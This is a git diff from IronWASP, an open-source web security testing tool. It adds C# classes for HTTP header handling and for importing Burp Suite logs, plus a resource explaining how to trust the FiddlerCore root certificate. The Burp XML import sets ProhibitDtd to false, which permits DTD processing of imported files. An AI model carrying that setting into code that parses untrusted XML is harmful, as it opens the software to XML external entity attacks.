- } - public void Set(string Name, List Values) - { - Name = SafeRaw(Name); - List Vals = new List(); - foreach(string Value in Values) - { - Vals.Add(SafeRaw(Value)); - } - if (Name.Trim().Length == 0) return; - if (ParameterStore.ContainsKey(Name)) - { - ParameterStore[Name] = Vals; - } - else - { - ParameterStore.Add(Name, Vals); - } - } - - public void Add(string Name, string Value) - { - Name = SafeRaw(Name); - Value = SafeRaw(Value); - if (Name.Trim().Length == 0) return; - if (ParameterStore.ContainsKey(Name)) - { - ParameterStore[Name].Add(Value); - } - else - { - List Values = new List(); - Values.Add(Value); - ParameterStore.Add(Name,Values); - } - } - - public List RawGetNames() - { - List Keys = new List(); - foreach (string Key in ParameterStore.Keys) - { - Keys.Add(Key); - } - return Keys; - } - public List GetNames() - { - List Values = this.RawGetNames(); - for (int i = 0; i < Values.Count; i++) - { - Values[i] = Decode(Values[i]); - } - return Values; - } - - public List RawGetAll(string Name) - { - Name = SafeRaw(Name); - if (ParameterStore.ContainsKey(Name)) - { - return new List(ParameterStore[Name]); - } - else - { - throw new Exception("Parameter not found"); - } - } - public List GetAll(string Name) - { - List Values = this.RawGetAll(Encode(Name)); - for (int i = 0; i < Values.Count; i++) - { - Values[i] = Decode(Values[i]); - } - return Values; - } - - public List RawGetMultis() - { - List Multis = new List(); - foreach (string Key in ParameterStore.Keys) - { - if (ParameterStore[Key].Count > 1) - { - Multis.Add(Key); - } - } - return Multis; - } - public List GetMultis() - { - List Values = this.RawGetMultis(); - for (int i = 0; i < Values.Count; i++) - { - Values[i] = Decode(Values[i]); - } - return Values; - } - - public void Remove(string Name) - { - Name = SafeRaw(Name); - if (ParameterStore.ContainsKey(Name)) - { - ParameterStore.Remove(Name); - } - } - - public void RemoveAll() - { - this.ParameterStore = new Dictionary>(); - } - - public bool RawHas(string Name) - { - Name = SafeRaw(Name); - if (ParameterStore.ContainsKey(Name)) - { - return true; - } - else - { - return false; - } - } - public bool Has(string Name) - { - return this.RawHas(Encode(Name)); - } - - protected string GetStringFromHeaders() - { - StringBuilder SB = new StringBuilder(); - StringBuilder Host = new StringBuilder("Host: "); - bool HasHost = false; - StringBuilder Cookie = new StringBuilder("Cookie: "); - bool HasCookie = false; - foreach (string Key in ParameterStore.Keys) - { - if (Key.Equals("Host", StringComparison.OrdinalIgnoreCase) && !HasHost)// && !Key.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) - { - Host.Append(ParameterStore[Key][0]); - Host.Append("\r\n"); - HasHost = true; - } - else if (Key.Equals("Cookie", StringComparison.OrdinalIgnoreCase) && !HasCookie) - { - Cookie.Append(ParameterStore[Key][0]); - Cookie.Append("\r\n"); - HasCookie = true; - } - else - { - foreach (string Value in ParameterStore[Key]) - { - SB.Append(Key); - SB.Append(": "); - SB.Append(Value); - SB.Append("\r\n"); - } - } - } - if (HasCookie) - { - SB.Append(Cookie.ToString()); - } - SB.Append("\r\n"); - if (HasHost) - { - Host.Append(SB.ToString()); - string QSWH = Host.ToString(); - return QSWH; - } - string QS = SB.ToString(); - return QS; - } - internal void BuildFromHeaderArray(string[] HeaderArray) - { - foreach (string Element in HeaderArray) - { - if (Element.Length >= 3) - { - string[] HeaderParts = Element.Split(new char[] { ':' }, 2); - if (HeaderParts.Length == 2) - { - this.Add(HeaderParts[0].Trim(), HeaderParts[1].Trim()); - } - } - } - } - - internal static string Encode(string Value) - { - return Tools.HeaderEncode(Value); - } - - internal static string Decode(string Value) - { - return Value; - } - - internal static string SafeRaw(string Value) - { - return Tools.HeaderEncode(Value); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class HeaderParameters + { + Dictionary> ParameterStore = new Dictionary>(StringComparer.OrdinalIgnoreCase); + + public int Count + { + get + { + return ParameterStore.Count; + } + } + + internal HeaderParameters() + { + + } + + internal HeaderParameters(HeaderParameters Headers) + { + this.ParameterStore = Headers.ParameterStore; + } + + internal HeaderParameters(string[] HeaderArray) + { + this.BuildFromHeaderArray(HeaderArray); + } + + public string RawGet(string Name) + { + Name = SafeRaw(Name); + if (ParameterStore.ContainsKey(Name)) + { + List Values = ParameterStore[Name]; + return Values[0]; + } + else + { + throw new Exception("Parameter not found"); + } + } + public string Get(string Name) + { + return Decode(this.RawGet(Encode(Name))); + } + + public void Set(string Name, string Value) + { + Name = SafeRaw(Name); + Value = SafeRaw(Value); + if (Name.Trim().Length == 0) return; + ParameterStore[Name] = new List() { Value }; + } + public void Set(string Name, int Position, string Value) + { + Name = SafeRaw(Name); + Value = SafeRaw(Value); + if (Name.Trim().Length == 0) return; + if (Position < 0) return; + if (ParameterStore.ContainsKey(Name)) + { + if (Position >= ParameterStore[Name].Count) + { + this.Add(Name, Value); + } + else + { + ParameterStore[Name][Position] = Value; + } + } + else + { + ParameterStore[Name] = new List() { Value }; + } + } + public void SetAt(string Name, int Position, string Value) + { + this.Set(Name, Position, Value); + } + public void Set(string Name, List Values) + { + Name = SafeRaw(Name); + List Vals = new List(); + foreach(string Value in Values) + { + Vals.Add(SafeRaw(Value)); + } + if (Name.Trim().Length == 0) return; + if (ParameterStore.ContainsKey(Name)) + { + ParameterStore[Name] = Vals; + } + else + { + ParameterStore.Add(Name, Vals); + } + } + + public void Add(string Name, string Value) + { + Name = SafeRaw(Name); + Value = SafeRaw(Value); + if (Name.Trim().Length == 0) return; + if (ParameterStore.ContainsKey(Name)) + { + ParameterStore[Name].Add(Value); + } + else + { + List Values = new List(); + Values.Add(Value); + ParameterStore.Add(Name,Values); + } + } + + public List RawGetNames() + { + List Keys = new List(); + foreach (string Key in ParameterStore.Keys) + { + Keys.Add(Key); + } + return Keys; + } + public List GetNames() + { + List Values = this.RawGetNames(); + for (int i = 0; i < Values.Count; i++) + { + Values[i] = Decode(Values[i]); + } + return Values; + } + + public List RawGetAll(string Name) + { + Name = SafeRaw(Name); + if (ParameterStore.ContainsKey(Name)) + { + return new List(ParameterStore[Name]); + } + else + { + throw new Exception("Parameter not found"); + } + } + public List GetAll(string Name) + { + List Values = this.RawGetAll(Encode(Name)); + for (int i = 0; i < Values.Count; i++) + { + Values[i] = Decode(Values[i]); + } + return Values; + } + + public List RawGetMultis() + { + List Multis = new List(); + foreach (string Key in ParameterStore.Keys) + { + if (ParameterStore[Key].Count > 1) + { + Multis.Add(Key); + } + } + return Multis; + } + public List GetMultis() + { + List Values = this.RawGetMultis(); + for (int i = 0; i < Values.Count; i++) + { + Values[i] = Decode(Values[i]); + } + return Values; + } + + public void Remove(string Name) + { + Name = SafeRaw(Name); + if (ParameterStore.ContainsKey(Name)) + { + ParameterStore.Remove(Name); + } + } + + public void RemoveAll() + { + this.ParameterStore = new Dictionary>(); + } + + public bool RawHas(string Name) + { + Name = SafeRaw(Name); + if (ParameterStore.ContainsKey(Name)) + { + return true; + } + else + { + return false; + } + } + public bool Has(string Name) + { + return this.RawHas(Encode(Name)); + } + + protected string GetStringFromHeaders() + { + StringBuilder SB = new StringBuilder(); + StringBuilder Host = new StringBuilder("Host: "); + bool HasHost = false; + StringBuilder Cookie = new StringBuilder("Cookie: "); + bool HasCookie = false; + foreach (string Key in ParameterStore.Keys) + { + if (Key.Equals("Host", StringComparison.OrdinalIgnoreCase) && !HasHost)// && !Key.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) + { + Host.Append(ParameterStore[Key][0]); + Host.Append("\r\n"); + HasHost = true; + } + else if (Key.Equals("Cookie", StringComparison.OrdinalIgnoreCase) && !HasCookie) + { + Cookie.Append(ParameterStore[Key][0]); + Cookie.Append("\r\n"); + HasCookie = true; + } + else + { + foreach (string Value in ParameterStore[Key]) + { + SB.Append(Key); + SB.Append(": "); + SB.Append(Value); + SB.Append("\r\n"); + } + } + } + if (HasCookie) + { + SB.Append(Cookie.ToString()); + } + SB.Append("\r\n"); + if (HasHost) + { + Host.Append(SB.ToString()); + string QSWH = Host.ToString(); + return QSWH; + } + string QS = SB.ToString(); + return QS; + } + internal void BuildFromHeaderArray(string[] HeaderArray) + { + foreach (string Element in HeaderArray) + { + if (Element.Length >= 3) + { + string[] HeaderParts = Element.Split(new char[] { ':' }, 2); + if (HeaderParts.Length == 2) + { + this.Add(HeaderParts[0].Trim(), HeaderParts[1].Trim()); + } + } + } + } + + internal static string Encode(string Value) + { + return Tools.HeaderEncode(Value); + } + + internal static string Decode(string Value) + { + return Value; + } + + internal static string SafeRaw(string Value) + { + return Tools.HeaderEncode(Value); + } + } +} diff --git a/IronWASP/Highlighter.cs b/Iron/Highlighter.cs similarity index 100% rename from IronWASP/Highlighter.cs rename to Iron/Highlighter.cs diff --git a/Iron/Import.cs b/Iron/Import.cs new file mode 100644 index 0000000..339d2c3 --- /dev/null +++ b/Iron/Import.cs @@ -0,0 +1,330 @@ +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using System.Threading; +using System.IO; +using System.Windows.Forms; +using System.Xml; + +namespace IronWASP +{ + internal class Import + { + internal static Thread ImportThread; + + internal static void ImportLogsFromIronwaspProjectFile(string ProjectDir) + { + //IronUI.OpenImportForm(); + IronUI.SetUIVisibility(false); + try + { + ImportThread.Abort(); + } + catch { } + ImportThread = new Thread(StartLogsImportFromIronwaspProjectFile); + ImportThread.Start(ProjectDir); + } + + internal static void StartLogsImportFromIronwaspProjectFile(object ProjectDir) + { + IronProxy.Stop(); + DirectoryInfo Di = new DirectoryInfo(ProjectDir.ToString()); + string NewDirName = string.Format("{0}\\ImportedFrom{1}", Di.Parent.FullName, Di.Name); + int Counter = 0; + while(Directory.Exists(NewDirName)) + { + Counter++; + NewDirName = string.Format("{0}\\ImportedFrom{1}_{2}", Di.Parent.FullName, Di.Name, Counter); + } + Directory.CreateDirectory(NewDirName); + IronDB.UpdateLogFilePaths(NewDirName); + IronDB.CreateNewLogFiles(); + //Proxy.ironlog + //Probes.ironlog + File.Copy(string.Format("{0}\\Proxy.ironlog", ProjectDir), string.Format("{0}\\Proxy.ironlog", NewDirName), true); + File.Copy(string.Format("{0}\\Probes.ironlog", ProjectDir), string.Format("{0}\\Probes.ironlog", NewDirName), true); + IronUI.StartUpdatingFullUIFromDB(); + } + + internal static void ImportBurpLog(string BurpLogFile) + { + IronUI.OpenImportForm(); + IronUI.SetUIVisibility(false); + try + { + ImportThread.Abort(); + } + catch { } + ImportThread = new Thread(StartImportBurpLog); + ImportThread.Start(BurpLogFile); + } + + internal static void StartImportBurpLog(Object BurpLogFile) + { + try + { + using (StreamReader SR = new StreamReader(BurpLogFile.ToString())) + { + ReadBurpMessages(SR, BurpLogFile.ToString()); + } + } + catch(Exception Exp) + { + IronUI.CloseImportForm(); + MessageBox.Show("Unable to import log - " + Exp.Message); + return; + } + IronUI.SetUIVisibility(true); + IronUI.CloseImportForm(); + } + + static void ReadBurpMessages(StreamReader Reader, string FileName) + { + try + { + XmlReaderSettings Settings = new XmlReaderSettings(); + Settings.ProhibitDtd = false; + using (XmlReader XR = XmlReader.Create(Reader, Settings)) + { + ReadBurpXmlExport(XR); + } + } + catch + { + try + { + Reader.Close(); + } + catch { } + using (Reader = new StreamReader(FileName)) + { + ReadBurpLog(Reader); + } + } + } + + static void ReadBurpXmlExport(XmlReader Reader) + { + Session Sess = null; + + while (Reader.Read()) + { + if (Reader.NodeType == XmlNodeType.Element) + { + switch (Reader.Name) + { + case("item"): + Sess = null; + break; + case("request"): + Request Req = null; + try + { + Req = new Request(ReadRequestResponseNodeValue(Reader), false, true); + } + catch { } + if (Req != null) + { + Sess = AddImportedRequestToIronWASP(Req); + } + break; + case ("response"): + Response Res = null; + try + { + Res = new Response(ReadRequestResponseNodeValue(Reader)); + } + catch{} + if (Sess != null) + { + AddImportedResponseToIronWASP(Res, Sess); + } + break; + } + } + } + } + + static string ReadRequestResponseNodeValue(XmlReader Reader) + { + bool Base64 = true; + try + { + if (Reader.GetAttribute("base64") == "false") + { + Base64 = false; + } + } + catch { } + Reader.Read(); + + if (Base64) + { + try + { + return Tools.Base64Decode(Reader.Value); + } + catch{} + } + return Reader.Value; + } + + static void ReadBurpLog(StreamReader Reader) + { + Queue ResponseLines = new Queue(); + string MetaLine = ""; + + List Lines = new List(); + Lines.Add(Reader.ReadLine()); + Lines.Add(Reader.ReadLine()); + Lines.Add(Reader.ReadLine()); + + if (Reader.EndOfStream) return; + if (Lines[0].Equals("======================================================") && Lines[1].IndexOf(" http") > 5 && Lines[1].IndexOf(" http") < 20 & Lines[2].Equals("======================================================")) + { + MetaLine = Lines[1]; + string[] Result = ReadBurpMessage(Reader); + ProcessBurpMessage(Result[0], MetaLine); + MetaLine = Result[1]; + if (MetaLine.Length == 0) return; + } + else + { + return; + } + + while(!Reader.EndOfStream) + { + MetaLine = Lines[1]; + string[] Result = ReadBurpMessage(Reader); + ProcessBurpMessage(Result[0], MetaLine); + MetaLine = Result[1]; + if (MetaLine.Length == 0) return; + } + } + + static string[] ReadBurpMessage(StreamReader Reader) + { + string[] Result = new string[2]; + Queue MessageLines = new Queue(); + StringBuilder MessageBuilder = new StringBuilder(); + while(MessageLines.Count < 7 && !Reader.EndOfStream) + { + MessageLines.Enqueue(Reader.ReadLine()); + } + while (!Reader.EndOfStream) + { + string[] ResponseBuffer = MessageLines.ToArray(); + if (ResponseBuffer[0].Equals("======================================================") && ResponseBuffer[1].Equals("") && ResponseBuffer[2].Equals("") && ResponseBuffer[3].Equals("") && ResponseBuffer[4].Equals("======================================================") && ResponseBuffer[5].IndexOf(" http") > 5 && ResponseBuffer[5].IndexOf(" http") < 20 && ResponseBuffer[6].Equals("======================================================")) + { + Result[0] = MessageBuilder.ToString(); + Result[1] = ResponseBuffer[5]; + break; + } + else + { + MessageBuilder.AppendLine(MessageLines.Dequeue()); + MessageLines.Enqueue(Reader.ReadLine()); + } + if (Reader.EndOfStream) + { + Result[0] = MessageBuilder.ToString(); + Result[1] = ""; + break; + } + } + return Result; + } + + static void ProcessBurpMessage(string BurpMessage, string MetaLine) + { + string[] BurpMessageParts = BurpMessage.Split(new string[] { "\r\n======================================================\r\n" }, 2, StringSplitOptions.RemoveEmptyEntries); + Session IrSe = null; + if (BurpMessageParts.Length > 0) + { + Request Req = ReadBurpRequest(BurpMessageParts[0], MetaLine); + if (Req != null) + { + try + { + IrSe = AddImportedRequestToIronWASP(Req); + } + catch { } + //IrSe = new Session(Req); + //IrSe.ID = Interlocked.Increment(ref Config.ProxyRequestsCount); + //IronUpdater.AddProxyRequest(IrSe.Request.GetClone(true)); + //PassiveChecker.AddToCheckRequest(IrSe); + } + } + if (BurpMessageParts.Length == 2) + { + if (IrSe != null) + { + try + { + Response Res = new Response(BurpMessageParts[1]); + AddImportedResponseToIronWASP(Res, IrSe); + //IrSe.Response = Res; + //IrSe.Response.ID = IrSe.Request.ID; + //IronUpdater.AddProxyResponse(IrSe.Response.GetClone(true)); + //PassiveChecker.AddToCheckResponse(IrSe); + } + catch {} + } + } + } + + static Session AddImportedRequestToIronWASP(Request Req) + { + Session IrSe = new Session(Req); + IrSe.ID = Interlocked.Increment(ref Config.ProxyRequestsCount); + IronUpdater.AddProxyRequest(IrSe.Request.GetClone(true)); + PassiveChecker.AddToCheckRequest(IrSe); + return IrSe; + } + + static void AddImportedResponseToIronWASP(Response Res, Session IrSe) + { + IrSe.Response = Res; + IrSe.Response.ID = IrSe.Request.ID; + IronUpdater.AddProxyResponse(IrSe.Response.GetClone(true)); + PassiveChecker.AddToCheckResponse(IrSe); + } + + + static Request ReadBurpRequest(string RequestString, string MetaLine) + { + string[] MetaParts = MetaLine.Split(new string[] { "://" }, StringSplitOptions.RemoveEmptyEntries); + if (MetaParts.Length != 2) return null; + bool SSL = false; + if (MetaParts[0].EndsWith("https")) SSL = true; + try + { + Request Req = new Request(RequestString, SSL); + return Req; + } + catch + { + return null; + } + } + } +} diff --git a/IronWASP/ImportCertForm.Designer.cs b/Iron/ImportCertForm.Designer.cs similarity index 100% rename from IronWASP/ImportCertForm.Designer.cs rename to Iron/ImportCertForm.Designer.cs diff --git a/IronWASP/ImportCertForm.cs b/Iron/ImportCertForm.cs similarity index 100% rename from IronWASP/ImportCertForm.cs rename to Iron/ImportCertForm.cs diff --git a/Iron/ImportCertForm.resx b/Iron/ImportCertForm.resx new file mode 100644 index 0000000..5fab4a1 --- /dev/null +++ b/Iron/ImportCertForm.resx @@ -0,0 +1,2421 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + When you are intercepting HTTPS connections IronWASP creates a certificate for the site and serves it to the browser. +Since IronWASP is not a trusted CA these certificates create an 'Invalid Certificate' error in your browser. +You can avoid these errors by adding IronWASP as a trusted CA in your machine but perform this step only if you understand the associated security implications. + + + IronWASP uses the FiddlerCore library for its Proxy feature, +so you must first get the FiddlerCore Root certificate. + +This can be done by going to http://localhost:[proxy_port]/FiddlerRoot.cer +in your browser while IronWASP is running. + +[proxy_port] in the URL is the port number on which IronWASP proxy is +listening, by default it is 8081. + +This will download the FiddlerRoot.cer file as shown in the image below. + + + After FiddlerRoot.cer file is downloaded double-click the file to open it. + +This should show you the certificate, click on the 'Install Certificate' +button and you will be taken through a wizard that will install this certificate. + +That's it! + + + + + iVBORw0KGgoAAAANSUhEUgAAAaMAAAIKCAIAAAABDLcYAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAO + vwAADr8BOAVTJAAAN5VJREFUeF7t3QmQXMd5H/BHSnJJKbvkOLHsJK6klKrYsU25FBFStIoSO1WyXRVX + EkZOLOsAScvmSEokx7IV0aIkCwR4m8QSFkWKB0SABImTBECQwwMHcRFYHIv7WGBxEFwAuwB2F7u4Flgs + sPn6eP2+7tdv5s3OzO5s7/9Xz6t+3V93v5l57+9ZgJSi1QAAoRNJdxUAYBRtvOWW+h16DwZJBwBjwMmm + 2h56DwZJBwBjwMmm2h56DwZJBwBjwMmm2h56DwZJBwBjwMmm2h56DwZJBwBjwMmm2h56DyZX0h3eu+no + /pb2XWvFsXNN+87Vh3atpYPapiHau9dvX/+angMAkM3Jptoeeg8mV9Id2bth27plR9tajx7Y9u6B7ccO + 7jh+ZM+Jo3tPHtvXeaytq+PgqeMHz5w8fPzw9l0tb+g5AADZnGzyHsNS6R7vofdgciWd+OK2d9P14asX + Ll7sONHz3vHu4yd7Tp/p6+zqfa/jDLXpuHDx0pmTh3a8s0zPAQDI5mRT1sGjjbdLH3oPJm/Ste/Z2NPb + 39PbJ3/2nz5z9sTJ7s6unq7TZ8/2nes7d66v/8LpE+0733lVz4EAtMz4zX+bmNGiuyt3dOnX+AJHlxT0 + kktkq4qVYbxysqnEoQJOcYayDr0Hky/pdq87uHsDfae7dv0KHdevX+k81dt1qvdkZ8+p073Xrg/Scf36 + 1VPHDyDpQqGyiWUQpV5FgSQX8M6QOVdYclSfjohcAwE5njnZVPqoKObo0HswuZLu8O51lGHXrw/JpBsc + vHr5THdfr/x+d6b77NAQZd8g5WBXR9uuDfgbiRDImKoujMokXZUphaQb95xsKnGomFOcoaxD78HkSrr2 + nWvadqy/dm3o/MUL5y7QcbHj+Onjx4/vX/O32+bctGfRp88cffXatasnj+3btbGo58A4Jn9rzc4R/X1P + iuNQBdsM9etuoSB+J42JErGi+E8+VW7RMsOKVHEaU928R12T+d1X0pN5J1sPGpaTTVkHDzjeLn3oPZh8 + Sbdrzeo3X16zZvXrxdd279p17N33rl+/1tE6dfUj0dbH/9HuJ29c/8CHr146fOLont0tSLrxr+Q3Omsw + iUQdYUk8quiLT+OkE6zvYzzpZKglJ7JFfbw0PrG/08kzaxUzBI3KySbvkY62dI/30Hsw5ZNuYGBg3vM/ + Wzz7hS1PP7vxJ08uevrZhQtfvnRpoOW5T7Q+8cFL7XdtfPAX9j0Wndz37PEju3a3vK6nwfhV6isdjyxi + 8iyVjhUnnR1ePkltdlqS8gtBA3CyqbaH3oMpn3Tr1q5b98ys86+91tb06e03f+Lo/PkrfvLk+vXr9738 + Byun3LDlkZ/f9nh0dPYN/R1LOg7t2LMJ/zzd+Fci6fRXN5sotYONVJp02fkkv6TFPEkn2y7vStBAnGyq + 7aH3YMon3Ysvzt/7tf/d9cwz/W1th1pb191//7zf/8Nnnn7q5ZceW3fvDafmR6cWRI/d/bnNq+bv3fzW + jg347XX8U3HmzYpUoMXqlHQy5eKJ7LtbKulSM6HBOdlU20PvwZRPutmzX3jnU/+++Eu/dHjDhqObNj3+ + gQ8Uf/VXZ816/s7FF276k7cffeRv7nrwu//i8/ufWrDnvUO7Tx0/oqfBeCa/1cUBY8n6vld10smWuzLL + Nj3Pk3TemdDonGyq7aH3YHJ9p1v1X/5o78yZa2fP3jh7dttzzy371Kep8yuPdH/szztP9V5e1HrlM9/p + fmxxv54AIZCJxsOOOmSYqIE4VyjPVI0/6cz8HEmn+tkAdfNwk3lm1cYL6iFzTUsKZgQalpNNtT30Hkz5 + pFu3dt3S5h+v/+KXnoyiZTfcsOqrX10y9T7q3Lzv4v1zeqigs+/qX808f3FgUNVDKGRWJZL0UGGn6XxJ + JV1SJibmSTqiwk6TJSrEpBkzeG08oDtYnXsd0JCcbKrtofdgyifdwMDAa68VFzz+1Oop09ZMmbboiafo + lDr1MABAwyufdMrRI0dXv72aDmroLgCAcSJv0gEAjF9IOgAIH5IOAMKHpAOA8CHpACB8SDoACB+SDgDC + l5l0+wAAxiedYkyppOsDABhvkHQAED4kHQCED0kHAOFD0gFA+JB0ABA+JB0AhK8GSbeosemrBIAJrDZJ + p/6XZRsQkg4ASPhJBw1I3zoAowXf6epIPtR4ql14T2D0hZ90Z8eOyLkxvYDGRO+JvnUARsv4T7r25qam + 5nZ94hrboBE5h6RLofdE3zoAo6W+SUcpFMWy46g65ZKud+yInBvTC2hM9J7oWwdgtNQx6UTMJRnU3lyo + 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 + 